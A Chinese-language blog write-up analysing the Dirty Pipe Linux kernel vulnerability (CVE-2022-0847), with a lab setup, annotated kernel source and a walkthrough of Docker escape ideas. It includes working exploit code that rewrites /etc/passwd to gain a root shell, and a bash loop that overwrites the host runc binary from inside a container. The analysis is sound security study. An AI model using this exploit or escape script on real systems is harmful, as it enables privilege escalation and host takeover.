本文主要分析了CVE-2022-0847的原理和由于其独特的利用条件造成的关于docker逃逸的利用思路
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
make x86_64_defconfig # 加载默认config
make menuconfig # 自定义config
添加调试信息, 需要以下几行
[*] Compile the kernel with debug info
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging
sudo mkfs.ext4 -F stretch.img
上文制作的文件系统只有最基本的命令,在主机上下载静态编译的busybox和poc放到share目录下,方便在虚拟机中使用
在下文qemu的启动命令的-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share
是将主机的share目录挂载到虚拟机上,我这里的环境是在虚拟机的/dev/sdb1
上,进入虚拟机后使用使用mount
命令将share文件夹挂载即可
host:
mkdir share
wget bin.n0p.me/x64/busybox
mv busybox share
vir:
mkdir /share
mount /dev/sdb1 /share
由于本虚拟机是只有很基本的环境,在调试漏洞之前还需要做一些操作, 创建/etc/passwd
, 修改权限
等
cat /share/passwd > /etc/passwd() chmod 777 /tmp touch /tmp/passwd.bak chmod 777 /tmp/passwd.bak
启动虚拟机
一个小坑, 由于我的主机是arch
, qemu
的依赖被破坏了,需要手动安装低版本libbpf
, 用pacman -Udd
强制安装即可
sudo qemu-system-x86_64 \ -s \ -m 2G \ -smp 2 \ -kernel ./arch/x86/boot/bzImage \ -append "console=ttyS0 earlyprintk=serial"\ -hda ./stretch.img \ -hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \ -nographic \ -initrd initramfs.img \ -pidfile vm.pid \ 2>&1 | tee vm.log
在调试之前首先根据补丁来简单了解一下漏洞造成的原因。
补丁中给copy_page_to_iter_pipe()
和push_pipe()
添加了buf->flags
的初始化为0。
这里需要了解一些前置知识,有三篇写的很详细的文章
不过由于本文重点不在这里,这里只简单说一下我自己的理解。
管道(pipe
)是linux中进程中通信的主要手段,它被设计为一个可以循环使用的环形数据结构,通常只有16个page
(每个page
大小通常为4k),为了节省空间,如果单次没有写满一个page
大小,pipe buffer
会有一个PIPE_BUF_FLAG_CAN_MERGE
属性(其值为0x10),用来标识该页面没有写满。当该属性存在时,下次pipe_write()
会继续向同一个page
写入数据。
splice()
将包含文件的page
链接到pipe
时copy_page_to_iter_pipe()
和push_pipe()
函数没有对buf->flag
初始化,也就是说,如果该page
的PIPE_BUF_FLAG_CAN_MERGE
属性为真的话,会继续向该page
写入内容,造成非法写入。
根据exp分析漏洞利用的细节,删除了部分检测利用条件、备份密码等漏洞利用不相关代码。
static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } // 将所有管道填满,使其具有PIPE_BUF_FLAG_CAN_MERGE属性 for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } // 读取所有管道的内容,即清空管道 } int main() { const char *const path = "/etc/passwd"; ... // 备份/etc/passwd ... loff_t offset = 4; // 略过"root"字符,这样构造也是因为漏洞利用的条件包含必须有大于1的偏移 const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 密码的哈希散列 const int fd = open(path, O_RDONLY); if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } // 以只读权限打开特权文件 ... // 一些漏洞利用条件检查 int p[2]; prepare_pipe(p); // 使得创建的管道具有PIPE_BUF_FLAG_CAN_MERGE属性,为漏洞利用做准备 --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // 将file page和pipe buf关联起来 // 由于PIPE_BUF_FLAG_CAN_MERGE属性的存在,不会创建新的pipe_buffer, 数据会直接写进file page中 nbytes = write(p[1], data, data_size); // 写入数据 char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \"" "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";" "cp /tmp/passwd.bak /etc/passwd;" "echo \\\"Done! Popping shell... (run commands now)\\\";" "/bin/sh;" "\" root"}; execv("/bin/sh", argv); printf("system() function call seems to have failed :(\n"); return EXIT_SUCCESS; // 弹出shell }
从上面可以看出EXP主要可以分为四步
PIPE_BUF_FLAG_CAN_MERGE
具有属性,EXP中使用的是填满再清空的方法PIPE_BUF_FLAG_CAN_MERGE
具有属性使管道具有PIPE_BUF_FLAG_CAN_MERGE
具有属性的关键点在pipe_write函数中,已略去部分无关代码
pipe_write(struct kiocb *iocb, struct iov_iter *from) { struct file *filp = iocb->ki_filp; struct pipe_inode_info *pipe = filp->private_data; unsigned int head; ssize_t ret = 0; size_t total_len = iov_iter_count(from); ssize_t chars; bool was_empty = false; bool wake_next_writer = false; ... if (!pipe->readers) { // 没有读端直接返回 send_sig(SIGPIPE, current, 0); ret = -EPIPE; goto out; } ... head = pipe->head; was_empty = pipe_empty(head, pipe->tail); // 判断管道头尾指针是否相等,如果相等则管道为空。 chars = total_len & (PAGE_SIZE-1); // 判断需要写入的数据的大小,chars为余数 if (chars && !was_empty) { // 页帧不为空且chars不为空,则从最后一页接着写 // 在exp前部分中,每次向pipe中写入的数据大小为页帧的整数倍,所以chars总为空 unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; int offset = buf->offset + buf->len; if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { // 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表当前页是可融合的 // 且已有内容 + 剩余内容 < 页帧大小,则直接将剩余内容写入当前页 ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from); if (unlikely(ret < chars)) { ret = -EFAULT; goto out; } buf->len += ret; if (!iov_iter_count(from)) goto out; } } for (;;) { // 这里是最后一页无法接着写的情况 if (!pipe->readers) { // 如果pipe的读者数量为0,则发送信号,直到有读者。 send_sig(SIGPIPE, current, 0); if (!ret) ret = -EPIPE; break; } head = pipe->head; if (!pipe_full(head, pipe->tail, pipe->max_usage)) { unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[head & mask]; struct page *page = pipe->tmp_page; int copied; if (!page) { // 如果缓存页为空,则新分配的page page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); if (unlikely(!page)) { ret = ret ? : -ENOMEM; break; } pipe->tmp_page = page; } spin_lock_irq(&pipe->rd_wait.lock); head = pipe->head; if (pipe_full(head, pipe->tail, pipe->max_usage)) { spin_unlock_irq(&pipe->rd_wait.lock); continue; } pipe->head = head + 1; spin_unlock_irq(&pipe->rd_wait.lock); buf = &pipe->bu fs[head & mask]; buf->page = page; // 把新申请的页放入页数组中 buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = 0; if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE, 即可融合的页 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10 pipe->tmp_page = NULL; copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) { if (!ret) ret = -EFAULT; break; } ret += copied; buf->offset = 0; buf->len = copied; if (!iov_iter_count(from)) break; } ... __pipe_unlock(pipe); if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe)); __pipe_lock(pipe); was_empty = pipe_empty(pipe->head, pipe->tail); wake_next_writer = true; } out: if (pipe_full(pipe->head, pipe->tail, pipe->max_usage)) wake_next_writer = false; __pipe_unlock(pipe); if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } if (wake_next_writer) wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM); if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) { int err = file_update_time(filp); if (err) ret = err; sb_end_write(file_inode(filp)->i_sb); } return ret; }
在EXP中的prepare_pipe()
函数中,首先将管道填满,并且每次写入的数据大小为4k
static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
导致chars = total_len & (PAGE_SIZE-1);
每次都为零, 所以不会进入第一个if中
if (chars && !was_empty) {
由于不断的写,导致需要申请新的页, 并且新的页的flag为PIPE_BUF_FLAG_CAN_MERGE
, 并直接被放入了页数组中
if (!page) { // 如果缓存页为空,则新分配的page ... buf->page = page; // 把新申请的页放入页数组中 ... buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE, 即可融合的页 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10
重复15次,把所有的pipe buffer
的flags
都置为0x10
首先在copy_page_to_iter_pipe
中停下,保存page
的地址
继续到pipe_write
停下, 由于这次不是4k
的整数倍,于是chars
不为0,进入到漏洞分支
打印出即将写入的page
, 和我们保存的page
一样,已经即将把数据写入
由于虚拟机只有最基本的环境,所以su
, id
这类命令都需要上文下载的静态编译的busybox实现
可以看到,低权限用户也可以对高权限文件改写
由于docker和宿主机是共享内核,尽管其他进程资源是隔离开的,内核洞也很可能会docker容器造成安全问题.
由于docker本质上是由一组互相重叠的层组层的,容器引擎将其合并到一起,原本这些层都是只读的,但由于脏管道漏洞的影响,我们可以在u1
容器修改/etc/passwd
使得u2
容器的/etc/passwd
被修改
通过利用CAP_DAC_READ_SEARCH
与脏管道可以实现覆盖主机文件, 该攻击手段可以在github看到详细过程
实际上主要是CAP_DAC_READ_SEARCH
可以调用open_by_handle_at
, 可以获得主机文件的文件描述符,配合脏管道于是就可以修改主机文件
这种攻击方式非常简单,核心就是获得文件的文件描述符即可
一个容器开启时,可以分为以下三步
对于第三步,以大名鼎鼎的CVE-2019-5736
为例,当重定向入口点时,容器内的/proc/self/exec
与书记的runc
二进制文件相关联
因此可以通过在容器内写入该文件描述符实现容器逃逸
对于CVE-2019-5736
的修复
由于篇幅原因这里不跟进CVE-2019-5736
的修复的具体代码,直接看git commit
了解修复逻辑
可以看到修复逻辑是克隆/proc/self/exec
避免容器内部直接获取runC
然而很快开发者修改了修复逻辑
可以看到开发者认为克隆导致的内存开销太大了,可能造成OOM
或者其他问题,把修复逻辑改成了只读挂载
这里联想到上文总结的脏管道
的利用条件和利用效果,发现刚好契合
这里的利用主要参考了链接
主机执行docker exec -it u1 /bin/sh
后/usr/sbin/runc
的哈希值变化了,且头部被注入标识
利用思路也很简单,修改CVE-2022-0847
的exp,将需要注入的字节改为shellcode,这里我随便改的标识
然后在容器内找到主机的runc
的pid即可,可以参考以下的shell
脚本
#!/bin/bash echo '#!/proc/self/exe' > /bin/sh echo "Waiting for runC to be executed in the container" while true ; do runC_pid="" while [ -z "$runC_pid" ] ; do runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}') done /exp /proc/${runC_pid}/exe done
由于docker容器和主机是共享内核的,且目前的runc
是通过挂为只读权限防止逃逸的,对于提权类内核洞来说,这两个限制很容易被绕过,所以尽管容器逃逸类漏洞很少见,但提权类的内核漏洞很可能导致容器逃逸。